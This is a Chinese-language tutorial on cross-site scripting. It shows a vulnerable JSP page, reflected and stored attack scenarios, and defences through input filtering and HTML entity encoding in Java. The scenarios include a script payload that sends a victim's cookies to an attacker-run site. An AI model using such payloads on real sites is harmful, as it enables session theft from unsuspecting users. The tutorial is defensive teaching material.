天天看點

XSS攻擊及防禦XSS攻擊XSS防禦其它

 XSS又稱CSS,全稱Cross SiteScript,跨站腳本攻擊,是Web程式中常見的漏洞,XSS屬于被動式且用于用戶端的攻擊方式,是以容易被忽略其危害性。其原理是攻擊者向有XSS漏洞的網站中輸入(傳入)惡意的HTML代碼,當其它使用者浏覽該網站時,這段HTML代碼會自動執行,進而達到攻擊的目的。如,盜取使用者Cookie、破壞頁面結構、重定向到其它網站等。

       XSS攻擊類似于SQL注入攻擊,攻擊之前,我們先找到一個存在XSS漏洞的網站,XSS漏洞分為兩種,一種是DOM Based XSS漏洞,另一種是Stored XSS漏洞。理論上,所有可輸入的地方沒有對輸入資料進行處理的話,都會存在XSS漏洞,漏洞的危害取決于攻擊代碼的威力,攻擊代碼也不局限于script。

       DOM Based XSS是一種基于網頁DOM結構的攻擊,該攻擊特點是中招的人是少數人。

場景一:

       當我登入a.com後,我發現它的頁面某些内容是根據url中的一個叫content參數直接顯示的,猜測它測頁面處理可能是這樣,其它語言類似: 

<code>&lt;%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%&gt;</code>

<code>&lt;!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"&gt;</code>

<code>&lt;html&gt;</code>

<code>&lt;head&gt;</code>

<code>&lt;title&gt;XSS測試&lt;/title&gt;</code>

<code>&lt;/head&gt;</code>

<code>&lt;body&gt;</code>

<code>       頁面内容:&lt;%=request.getParameter("content")%&gt;</code>

<code>&lt;/body&gt;</code>

<code>&lt;/html&gt;</code>

      我知道了Tom也注冊了該網站,并且知道了他的郵箱(或者其它能接收資訊的聯系方式),我做一個超連結發給他,超連結位址為:http://www.a.com?content=&lt;script&gt;window.open(“www.b.com?param=”+document.cookie)&lt;/script&gt;,當Tom點選這個連結的時候(假設他已經登入a.com),浏覽器就會直接打開b.com,并且把Tom在a.com中的cookie資訊發送到b.com,b.com是我搭建的網站,當我的網站接收到該資訊時,我就盜取了Tom在a.com的cookie資訊,cookie資訊中可能存有登入密碼,攻擊成功!這個過程中,受害者隻有Tom自己。那當我在浏覽器輸入a.com?content=&lt;script&gt;alert(“xss”)&lt;/script&gt;,浏覽器展示頁面内容的過程中,就會執行我的腳本,頁面輸出xss字樣,這是攻擊了我自己,那我如何攻擊别人并且獲利呢?

       Stored XSS是存儲式XSS漏洞,由于其攻擊代碼已經存儲到伺服器上或者資料庫中,是以受害者是很多人。

場景二:

       a.com可以發文章,我登入後在a.com中釋出了一篇文章,文章中包含了惡意代碼,&lt;script&gt;window.open(“www.b.com?param=”+document.cookie)&lt;/script&gt;,儲存文章。這時Tom和Jack看到了我釋出的文章,當在檢視我的文章時就都中招了,他們的cookie資訊都發送到了我的伺服器上,攻擊成功!這個過程中,受害者是多個人。

       Stored XSS漏洞危害性更大,危害面更廣。

       我們是在一個沖突的世界中,有矛就有盾。隻要我們的代碼中不存在漏洞,攻擊者就無從下手,我們要做一個沒有縫的蛋。XSS防禦有如下方式。

       永遠不相信使用者的輸入。需要對使用者的輸入進行處理,隻允許輸入合法的值,其它值一概過濾掉。

       假如某些情況下,我們不能對使用者資料進行嚴格的過濾,那我們也需要對标簽進行轉換。

less-than character (&lt;)

&amp;lt;

greater-than character (&gt;)

&amp;gt;

ampersand character (&amp;)

&amp;amp;

double-quote character (")

&amp;quot;

space character( )

&amp;nbsp;

Any ASCII code character whose code is greater-than or equal to 0x80

&amp;#&lt;number&gt;, where &lt;number&gt; is the ASCII character value.

      比如使用者輸入:&lt;script&gt;window.location.href=”http://www.baidu.com”;&lt;/script&gt;,儲存後最終存儲的會是:&amp;lt;script&amp;gt;window.location.href=&amp;quot;http://www.baidu.com&amp;quot;&amp;lt;/script&amp;gt;在展現時浏覽器會對這些字元轉換成文本内容顯示,而不是一段可執行的代碼。

       下面提供兩種Html encode的方法。

StringEscapeUtils.escapeHtml(str);// 漢字會轉換成對應的ASCII碼,空格不轉換

<code>private static String htmlEncode(char c) {</code>

<code>switch(c) {</code>

<code>case '&amp;':</code>

<code>return "&amp;amp;";</code>

<code>case '&lt;':</code>

<code>return "&amp;lt;";</code>

<code>case '&gt;':</code>

<code>return "&amp;gt;";</code>

<code>case '"':</code>

<code>return "&amp;quot;";</code>

<code>case ' ':</code>

<code>return "&amp;nbsp;";</code>

<code>default:</code>

<code>return c + "";</code>

<code>   }</code>

<code>}</code>

<code>/** 對傳入的字元串str進行Html encode轉換 */</code>

<code>public static String htmlEncode(String str) {</code>

<code>if (str ==null || str.trim().equals(""))   return str;</code>

<code>    StringBuilder encodeStrBuilder = new StringBuilder();</code>

<code>for (int i = 0, len = str.length(); i &lt; len; i++) {</code>

<code>       encodeStrBuilder.append(htmlEncode(str.charAt(i)));</code>

<code>    }</code>

<code>return encodeStrBuilder.toString();</code>

       (完)